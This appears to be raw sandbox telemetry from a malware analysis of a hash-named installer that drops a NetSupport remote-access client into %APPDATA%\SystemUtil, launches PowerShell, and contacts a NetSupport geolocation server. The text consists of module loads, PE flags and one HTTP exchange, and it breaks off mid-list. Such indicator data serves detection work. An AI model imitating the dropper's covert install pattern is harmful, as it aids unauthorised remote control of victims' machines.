"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\urlmon.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll" - [base:0; Status:ffffffffc0000135] "client32.exe" failed to load missing module "%APPDATA%\SystemUtil\dbghelp.dll" - [base:0; Status:ffffffffc0000135] "client32.exe" failed to load missing module "NSMTRACE" - [base:0; Status:ffffffffc0000135] "client32.exe" failed to load missing module "nslsp.dll" - [base:0; Status:ffffffffc0000135] "client32.exe" failed to load missing module "%APPDATA%\SystemUtil\CryptPak.dll" - [base:0; Status:ffffffffc0000135] "client32.exe" failed to load missing module "pcihooks" - [base:0; Status:ffffffffc0000135] "client32.exe" failed to load missing module "PCIINV.DLL" - [base:0; Status:ffffffffc0000135] "client32.exe" failed to load missing module "%APPDATA%\SystemUtil\LoopbackUnblocker.dll" - [base:0; Status:ffffffffc0000135]55:Tcd2,"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "remcmdstub.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "pcicapi.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "is-E4H59.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "is-RDOSR.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "is-44761.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "is-QB4I9.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "is-HK8T3.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "is-OGV90.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "TCCTL32.DLL" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "is-9R196.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF "is-9S9LT.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "HTCTL32.DLL" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "is-MDSR5.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "is-9HESL.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "is-GITR0.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "is-SMMFE.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "is-C398I.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF "is-3RCEH.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "is-USEBL.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_NO_SEH "is-QPD72.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_NO_SEH "is-40SJ6.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_NO_SEH "is-5QITJ.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_NO_SEH "is-96QPJ.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_NO_SEH56:T527,"GET /location/loca.asp HTTP/1.1 Host: geo.netsupportsoftware.com Connection: Keep-Alive Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Tue 24 Jun 2025 17:57:14 GMT Content-Type: text/html; Charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare Cf-Ray: 954e1b3d3d0667fd-SJC Cf-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: private Set-Cookie: ASPSESSIONIDCCCSSQAC=BMNGJJLAHAFHKHLFDDEJAFAL; path=/ Strict-Transport-Security: max-age=31536000; includeSubDomains Cf-Apo-Via: origin host Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e6msm00XNtBlGIHwvH%2FIyQ8BK3MkkzIrebkgGUfgD5itgO2v8dyHJMmkiSBEsdDY5SDVCQNe%2B%2F3NfqONYyfcrO8SLPpgP%2BNzYMAZ7dD7ivQfV1n5AB0wD0AARdNk6XYrWMU5kzV%2BKmEYxpb6"}] "group":"cf-nel" "max_age":604800} Nel: {"success_fraction":0 "report_to":"cf-nel" "max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=2089&min_rtt=2089&rtt_var=1044&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=118&delivery_rate=0&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" with response body ==>33333A33373A32653A33333A33333A33383A33373A32633A32643A33313A33323A33313A32653A33383A33383A3335.......57:T500c,"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 755d0000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 755d0000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 755d0000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" loaded module "KERNEL32" at base 75ab0000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" loaded module "KERNEL32.DLL" at base 75ab0000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 76820000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" loaded module "RPCRT4.DLL" at base 75210000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74160000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" loaded module "NTDLL.DLL" at base 77c90000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74600000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 755d0000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 755d0000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 755d0000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "KERNEL32" at base 75ab0000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "KERNEL32.DLL" at base 75ab0000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "MSCTF.DLL" at base 750a0000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "IMM32.DLL" at base 760a0000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74160000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "WTSAPI32.DLL" at base 741e0000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "NTDLL.DLL" at base 77c90000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "RPCRT4.DLL" at base 75210000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "UXTHEME.DLL" at base 74160000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 76820000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "OLEAUT32.DLL" at base 75320000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "EXT-MS-WIN-RTCORE-NTUSER-WINDOW-EXT-L1-1-0.DLL" at base 753c0000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "EXT-MS-WIN-RTCORE-NTUSER-INTEGRATION-L1-1-0.DLL" at base 753c0000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "API-MS-WIN-CORE-COM-L1-1-0.DLL" at base 74730000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 750a0000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "COMCTL32" at base 73670000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "COMCTL32.DLL" at base 73670000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 74b10000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "DWMAPI.DLL" at base 738b0000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "%WINDIR%\SYSTEM32\DWMAPI.DLL" at base 738b0000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "%WINDIR%\SYSTEM32\SHFOLDER.DLL" at base 73190000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "SHCORE.DLL" at base 75e70000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "USER32.DLL" at base 753c0000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "%WINDIR%\SYSTEM32\SHLWAPI.DLL" at base 75920000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "%PROGRAMFILES%\(X86)\COMMON FILES\MICROSOFT SHARED\INK\TIPTSF.DLL" at base 73100000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "SSPICLI.DLL" at base 746b0000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "%WINDIR%\SYSTEM32\EXPLORERFRAME.DLL" at base 72c60000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "%WINDIR%\SYSTEM32\SFC.DLL" at base 6490000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "%WINDIR%\SYSWOW64\WINDOWS.STORAGE.DLL" at base 76250000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73c30000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "CSCAPI.DLL" at base 73a50000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "%WINDIR%\SYSWOW64\ONECOREUAPCOMMONPROXYSTUB.DLL" at base 72860000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 76250000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "SHELL32.DLL" at base 76820000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "%WINDIR%\SYSWOW64\\WINDOWS.STATEREPOSITORYPS.DLL" at base 72790000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "%WINDIR%\SYSWOW64\SHELL32.DLL" at base 76820000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 75ab0000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "%WINDIR%\SYSWOW64\URLMON.DLL" at base 73fd0000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "MSISO.DLL" at base 72730000 "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 755d0000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 755d0000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 755d0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 755d0000 "powershell.exe" loaded module "KERNEL32" at base 75ab0000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 77c10000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 72620000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 75920000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 76240000 "powershell.exe" loaded module "VERSION.DLL" at base 74550000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 71930000 "powershell.exe" loaded module "USER32.DLL" at base 753c0000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 755d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "powershell.exe" loaded module "MSCOREE.DLL" at base 726b0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 74730000 "powershell.exe" loaded module "PSAPI.DLL" at base 75f00000 "powershell.exe" loaded module "KERNEL32.DLL" at base 75ab0000 "powershell.exe" loaded module "RPCRT4.DLL" at base 75210000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 70410000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "powershell.exe" loaded module "OLE32.DLL" at base 74b10000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 74730000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "OLEAUT32.DLL" at base 75320000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 72520000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 77bb0000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 755d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 72490000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 6f9b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 6f190000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\COMBASE.DLL" at base 0 "powershell.exe" loaded module "COMBASE.DLL" at base 74730000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 74730000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "NTDLL.DLL" at base 77c90000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "powershell.exe" loaded module "SHELL32.DLL" at base 76820000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WINTRUST.DLL" at base 0 "powershell.exe" loaded module "WINTRUST.DLL" at base 76050000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WINTRUST.DLL" at base 76050000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 74980000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\AMSI.DLL" at base 0 "powershell.exe" loaded module "AMSI.DLL" at base 72460000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 74550000 "powershell.exe" loaded module "CRYPT32.DLL" at base 74980000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPOAV.DLL" at base 72410000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.MF49F6405#\E7F9E4AF50C666B5FEC85987C303915A\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 72390000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\VERSION.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 6ea10000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 6e6b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 74730000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 72340000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 6e5a0000 "powershell.exe" loaded module "SECUR32.DLL" at base 72330000 "powershell.exe" loaded module "SSPICLI.DLL" at base 746b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\SHLWAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WLDP.DLL" at base 0 "powershell.exe" loaded module "WLDP.DLL" at base 72310000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74160000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPCLIENT.DLL" at base 71890000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 75ab0000 "powershell.exe" loaded module "USERENV.DLL" at base 72430000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 77c10000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\MSISIP.DLL" at base 72250000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WSHEXT.DLL" at base 71850000 "powershell.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 75ab0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\APPXSIP.DLL" at base 6e570000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WINDOWSPOWERSHELL\V1.0\PWRSHSIP.DLL" at base 6e410000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base 6e3e0000 "powershell.exe" loaded module "CRYPTNET.DLL" at base 6e3e0000 "powershell.exe" loaded module "GDI32.DLL" at base 758e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\URLMON.DLL" at base 0 "powershell.exe" loaded module "URLMON.DLL" at base 73fd0000 "powershell.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 755d0000 "powershell.exe" loaded module "MSISO.DLL" at base 72730000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MICROSOFT.APPV.APPVCLIENTCOMCONSUMER\V4.0_10.0.0.0__31BF3856AD364E35\MICROSOFT.APPV.APPVCLIENTCOMCONSUMER.DLL" at base 6e320000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "powershell.exe" loaded module "BCRYPT.DLL" at base 73a60000 "powershell.exe" loaded module "OLEAUT32" at base 75320000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.KD58820A5#\73C2C8627FEE7863C44684EF9B2F3A21\MICROSOFT.KEYDISTRIBUTIONSERVICE.CMDLETS.NI.DLL" at base 6e030000 "powershell.exe" loaded module 